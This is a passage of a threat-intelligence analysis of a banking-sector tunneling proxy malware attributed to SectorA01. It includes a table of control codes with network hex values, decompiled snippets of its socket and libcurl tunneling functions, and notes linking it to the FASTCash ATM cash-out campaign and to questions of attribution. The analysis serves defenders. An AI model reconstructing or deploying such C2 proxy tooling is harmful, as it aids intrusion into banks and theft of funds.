In fact, in one of the analyzed malware used against an unnamed Southeast Asian bank, we see that what appears to be a much earlier versions of the proxy having seven numeric-only control codes while this sample has eight Russian language control codes, with the control codes in both samples having almost the same meaning.

OperationDescriptionHex Values over the Network
kliyent2podklyuchitMalware thread created notification (client)d1 14 23 b3 c7 b2 ac fe 70 0d 1c d1 14 b3 d7 f9 38 23 ac
NachaloClient has started (client)92 ab f9 38 ab 14 0d
ssylkaTunneling proxy server has started (client)c9 c9 b3 14 d1 ab
poluchitGet proxy target information (server)70 0d 14 d7 f9 38 23 ac
ustanavlivatSet proxy target information (server)d7 c9 ac ab b2 ab 2a 14 23 2a ab ac
pereslatStart a new tunneling proxy server session in new thread (server)70 c7 be c7 c9 14 ab ac
derzhatMaintain connection (server)1c c7 be b6 38 ab ac
vykhoditExit (server) / Client has exited (client)2a b3 d1 38 0d 1c 23 ac

Tunneling Proxy Server

When this utility acts as a tunneling proxy server, it directly uses Windows Sockets 2 (“WS2_32”) to achieve their rudimentary proxy.

signed __int64 __fastcall c2_ssylka(LPVOID lpThreadParameter){ SOCKET c2Socket = begin_c2(“ssylka”); … SOCKET targetProxySocket = retrieveProxySocket(); … start_tunnel_proxy_server(c2Socket, targetProxySocket); … } signed int __fastcall start_tunnel_proxy_server(SOCKET c2Socket, SOCKET targetProxySocket){ … numBytesReceived = recv(c2Socket, &dataToProxy, 0x2000, 0); … numBytesReceived = send(targetProxySocket, &dataToProxy, numBytesReceived, 0); … }

Tunneling Proxy Client

When this utility acts as a tunneling proxy client, it utilizes the more powerful embedded libcurl library (version 7.49.1 for this sample, but not always the case) to command other infected tunneling proxy servers.

__int64 __fastcall connect_to_proxy(__int64 fixedFunctionAddress, __int64 proxyTarget){ … curl_setopt(handle, CURLOPT_URL, proxyTarget); … curl_setopt(handle, CURLOPT_PROXY, fixedFunctionAddress + 16); //refers to deobfuscated proxy server information … curl_setopt(handle, CURLOPT_HTTPPROXYTUNNEL, 1); … if ( strlen((fixedFunctionAddress + 278)) != ) //if deobfuscated argument 4 is not empty curl_setopt(handle, CURLOPT_PROXYUSERPWD); //curl_setopt argument 3 = deobfuscated process argument 4, which is not detected by decompiler … } … }

The CURLOPT_HTTPPROXYTUNNEL code causes the client to starts by using HTTP CONNECT to the proxy server in order to request it to forward traffic to the proxy target.

>Internet Protocol Version 4, Src: x.x.x.x, Dst: >Transmission Control Protocol, Src Port: xxxxx, Dst Port: 8080, Seq: 1, Ack: 1, Len: 59 >Hypertext Transfer Protocol >CONNECT HTTP/1.1\r\n >[Expert Info (Chat/Sequence): CONNECT HTTP/1.1\r\n] Request Method: CONNECT Request URI: Request Version: HTTP/1.1 Host:\r\n

The FASTCash Connection

In October last year, the US-CERT reported about the “FASTCash” campaign by SectorA01, which was essentially an ATM cash-out scheme whereby SectorA01 remotely compromised bank payment switch applications to simultaneously physically withdraw from ATMs in many countries and steal millions of dollars.

Some of the artifacts used in the campaign included proxy modules, a RAT, and an installer application. When we performed a preliminary analysis and compared the FASTCash proxy module to the proxy module analyzed in this post, we found algorithmic similarities between the decoding/encoding functions, the process argument deobfuscation function, and the proxy function.

However, the FASTCash proxy module also had more functions in them with new capabilities as described briefly in the US-CERT FASTCash Malware Analysis Report [10]. Additionally, our own analysis showed that they have also updated the use of amateur-ish strings which were previously easily detectable from memory and obviously malicious, to now hiding or removing those custom strings. This is their normal behavior as it has been known that they are constantly modifying their own source code, and these similarities and developments leads us to think that the FASTCash proxy module might be an evolution of their previous proxy module.


Attribution is a complex and controversial topic, but regardless, correctly attributing a threat to a particular threat group is a far easier task than correctly attributing the threat to or being linked to a particular nation state. Given even a single piece of complex enough custom malware believed to be in possession by only a single group and context behind the attack, it is possible to have some degree of confidence of which group was behind the attack.

But even custom malware source code can get stolen, the executable itself repackaged, or the functions recreated. In a simpler scenario, false flags such as strings and metadata could also be placed.

Regarding the initial attribution of the Ryuk ransomware, however, while others have focused on the misattribution, our view is that even if it was correct it would simply have been a lucky guess. Basing attribution solely on the usage of a single privately purchasable malware is fundamentally flawed, and the simple truth is that no organization in the world would be able to track every piece of malware to know what is being sold in the dark and deep web anyway.

That is why in order to have a higher degree of confidence of who is behind an attack, the entirety of the threat’s tactics, techniques, and procedures (TTPs) need to be analyzed across multiple events using both trusted public and vetted private sources.

SectorA01 shows no signs of stopping their attacks against financial sectors worldwide and although they have been constantly modifying their code protectors, functions, and algorithms, there will be traces of similarities across different versions of their tools. Our Threat Recon Team will continue tracking such events and malware and report on our findings.

Unpacked Sample (SHA-256)


Memory Dump Samples from US-CERT FASTCash Report (SHA-256)



Packed Sample from Polish banks attack (SHA-256)


Sample from Taiwanese bank attack (SHA-256)


Sample from Vietnamese banks attack (SHA-256)


Attack on Unnamed SEA Bank (“TCP Tunnel Tool”) (SHA-256)



[1] Ryuk Ransomware Attack: Rush to Attribution Misses the Point
[2] HIDDEN COBRA – FASTCash Campaign
[3] Włamania do kilku banków skutkiem poważnego ataku na polski sektor finansowy
[5] High alert against malicious code attacks in Vietnam
[6] BMO and CIBC-owned Simplii Financial reveal hacks of customer data
[8] North Korean connection to Cosmos hacking? Signs point to Bangladesh heist masterminds
[9] MAR-10135536-12 – North Korean Trojan: TYPEFRAME
[10] MAR-10201537 – HIDDEN COBRA FASTCash-Related Malware